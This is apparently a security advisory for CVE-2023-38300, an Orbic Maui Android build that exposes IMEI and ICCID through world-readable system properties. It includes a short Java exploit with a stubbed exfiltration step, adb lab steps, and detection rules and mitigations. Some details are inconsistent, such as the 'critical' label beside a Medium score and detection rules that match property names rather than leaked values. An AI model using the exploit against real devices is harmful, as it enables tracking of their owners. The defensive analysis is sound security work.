CVE-2023-38300

Executive Summary

CVE-2023-38300 identifies a critical information disclosure vulnerability in the Orbic Maui device (model RC545L) running Android 10 build ORB545L_V1.4.2_BVZPP. The vulnerability allows any local application, without any permissions, to read the device’s IMEI and ICCID via system properties (persist.sys.verizon_test_plan_imei and persist.sys.verizon_test_plan_iccid). This bypasses Android 10’s privacy restrictions that prevent third-party apps from directly accessing non-resettable device identifiers. The leak originates from a high-privilege process that writes these identifiers to world-readable system properties.

Affected Ecosystem: Android (Orbic Maui device, Verizon test plan build)

Key Risk: Any malicious app installed on the device can silently exfiltrate the IMEI and ICCID, enabling device tracking, SIM cloning, or targeted attacks.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but is a firmware-level issue in the Android build. The supply chain risk lies in the device manufacturer (Orbic) and the carrier (Verizon) shipping a build that exposes sensitive identifiers via system properties. No open-source patch or advisory exists.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 5.5 (Medium)
• Attack Vector: Local (requires malicious app installed on device)
• Attack Complexity: Low (no special conditions)
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High (IMEI/ICCID exposed)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium – While the CVSS is moderate, the real-world impact is elevated due to the ease of exploitation and the sensitivity of leaked identifiers.

Deep Dive & Mechanics

The vulnerability stems from a Verizon test plan build that stores the IMEI and ICCID in Android system properties with the persist.sys. prefix. These properties are world-readable by any process on the device, including third-party apps with no permissions.

Root Cause: A high-privilege system process (likely a carrier or OEM service) writes the IMEI and ICCID to persist.sys.verizon_test_plan_imei and persist.sys.verizon_test_plan_iccid during boot or provisioning. Android’s SystemProperties API does not enforce permission checks for reading properties, allowing any app to read them.

Attack Flow:

1. Malicious app is installed (e.g., via social engineering, sideloading, or malicious Play Store app).
2. App reads persist.sys.verizon_test_plan_imei and persist.sys.verizon_test_plan_iccid using SystemProperties.get().
3. App exfiltrates the values to a remote server.

Why Android 10 Restrictions Are Bypassed: Android 10 blocks direct access to Build.getSerial(), TelephonyManager.getImei(), etc., for third-party apps. However, system properties are not protected by the same permission model, so the leak bypasses these restrictions.

Vulnerable vs. Patched Code

Vulnerable Code (Android system service or init script):

// High-privilege process writes identifiers to system properties
SystemProperties.set("persist.sys.verizon_test_plan_imei", imei);
SystemProperties.set("persist.sys.verizon_test_plan_iccid", iccid);

Malicious App Code (exploit):

// No permissions required
String imei = SystemProperties.get("persist.sys.verizon_test_plan_imei");
String iccid = SystemProperties.get("persist.sys.verizon_test_plan_iccid");
// Exfiltrate

Patched Code (hypothetical fix):

// Remove the properties or restrict access
// Option 1: Delete the properties after use
SystemProperties.set("persist.sys.verizon_test_plan_imei", "");
SystemProperties.set("persist.sys.verizon_test_plan_iccid", "");

// Option 2: Use a protected property (requires system-level permission)
// Not possible without modifying Android framework

Patch Status: UNKNOWN / UNPATCHED – No official patch has been released by Orbic or Verizon.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Orbic Maui device with build ORB545L_V1.4.2_BVZPP
• Ability to install a malicious APK (e.g., via ADB or social engineering)

Exploit Code (Java/Android):

import android.os.SystemProperties;
import android.util.Log;

public class ImeiLeak {
    public static void main(String[] args) {
        String imei = SystemProperties.get("persist.sys.verizon_test_plan_imei");
        String iccid = SystemProperties.get("persist.sys.verizon_test_plan_iccid");
        Log.d("CVE-2023-38300", "IMEI: " + imei + ", ICCID: " + iccid);
        // Exfiltrate via HTTP
        // new Thread(() -> { /* send to C2 */ }).start();
    }
}

Lab Setup:

1. Obtain an Orbic Maui device (RC545L) with the vulnerable build.
2. Enable Developer Options and USB Debugging.
3. Compile the exploit as an APK and install via ADB:

   adb install ImeiLeak.apk
   

4. Run the app and observe logcat output:

   adb logcat | grep CVE-2023-38300
   

Blue Team (Detection & Forensics)

Detection on Device:

• Monitor for apps reading persist.sys.verizon_test_plan_imei or persist.sys.verizon_test_plan_iccid using strace or frida.
• Check for unusual outbound network connections from apps with no legitimate reason to access identifiers.

Forensic Artifacts:

• Logcat entries containing the property names.
• Network traffic to unknown IPs containing IMEI/ICCID strings.

Indicators of Compromise (IOCs)

Static IOCs:

• System property reads: persist.sys.verizon_test_plan_imei, persist.sys.verizon_test_plan_iccid
• Build fingerprint: Orbic/RC545L/RC545L:10/ORB545L_V1.4.2_BVZPP/230106:user/release-keys

Behavioral IOCs:

• App requesting no permissions but accessing system properties.
• Outbound HTTP/HTTPS traffic containing IMEI or ICCID patterns (e.g., ^[0-9]{15}$ for IMEI, ^[0-9]{19,20}$ for ICCID).

Network IOCs:

• Destination IPs/domains receiving leaked data (unknown, but monitor for unusual destinations).

Detection Engineering

YARA Rule

rule CVE_2023_38300_IMEI_ICCID_Leak {
    meta:
        description = "Detects apps reading vulnerable system properties on Orbic Maui"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-38300"
    strings:
        $prop_imei = "persist.sys.verizon_test_plan_imei"
        $prop_iccid = "persist.sys.verizon_test_plan_iccid"
        $sysprop_get = "SystemProperties.get"
    condition:
        any of ($prop_imei, $prop_iccid) and $sysprop_get
}

Sigma Rule

title: CVE-2023-38300 IMEI/ICCID Leak via System Properties
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to read vulnerable system properties on Orbic Maui devices
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: android
detection:
    selection:
        CommandLine|contains:
            - 'persist.sys.verizon_test_plan_imei'
            - 'persist.sys.verizon_test_plan_iccid'
    condition: selection
falsepositives:
    - Legitimate Verizon test apps
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-38300 IMEI/ICCID Exfiltration"; content:"persist.sys.verizon_test_plan_imei"; nocase; sid:1000001; rev:1;)
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-38300 ICCID Exfiltration"; content:"persist.sys.verizon_test_plan_iccid"; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. Remove the vulnerable properties (requires root or system update):

   adb shell
   su
   setprop persist.sys.verizon_test_plan_imei ""
   setprop persist.sys.verizon_test_plan_iccid ""
   

2. Install a firewall app (e.g., NetGuard) to block outbound connections from suspicious apps.
3. Avoid installing apps from untrusted sources on the affected device.

Long-Term Fix:

• Orbic/Verizon must release a firmware update that removes the world-readable properties or restricts access to system apps only.
• Alternatively, the high-privilege process should delete the properties after use.

Workaround:

• Use Android’s Work Profile or Island to sandbox untrusted apps.

Valters IT